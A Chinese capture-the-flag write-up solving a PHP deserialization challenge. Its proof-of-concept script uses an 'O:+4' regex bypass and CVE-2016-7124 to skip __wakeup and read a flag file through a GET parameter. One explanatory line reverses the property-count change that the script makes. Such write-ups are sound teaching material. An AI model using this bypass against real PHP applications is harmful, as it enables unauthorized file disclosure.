上来就给了源码,一看就是代码审计
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
从上面代码非常容易看出来是一个关于反序列化问题的题,需要GET传入一个var,需要绕过正则表达式’/[oc]:\d+:/i’,还需要绕过__wakeup(),再将其base64编码。
注意三个魔术方法
__wakeup()
该方法是PHP反序列化时的第一个方法,unserialize()会检查是否存在__wakeup()方法,若存在则会先调用该方法,来预先准备对象需要的资源。
__construct()
与其它面向对象语言类似,PHP中也存在构造方法,具有构造方法的类会在每次创建新对象前调用此类方法,该方法常用于完成一些初始化工作。
__destruct
析构方法,当某个对象的所有引用都被删除或者当对象被显示撤销时,析构函数被执行
有关PHP其它魔术方法的内容参考PHP魔术方法
有关PHP反序列化漏洞内容参考PHP反序列化内容参考
先放出脚本
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$a = new Demo ('fl4g.php');
$b = serialize($a);
$b = str_replace('O:4', 'O:+4', $b);
$b = str_replace(':1:', ':2:', $b);
var_dump($b);
var_dump(base64_encode($b));
?>
绕过正则的思路:
正则的规则是:在不区分大小写的情况下,字符串出现"o:数字"或“c:数字”都将被过滤。因为serialize()的参数为object,因此参数类型肯定应该是“O”,因为序列化字符串格式为参数格式:参数名长度,因此需要使用“O:+4”进行绕过
绕过__wakeup()的思路:
利用了CVE-2016-7124的漏洞,即当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行,这是我们把2替换成1.
运行完POC脚本
将base64编码带回到URL中拿到flag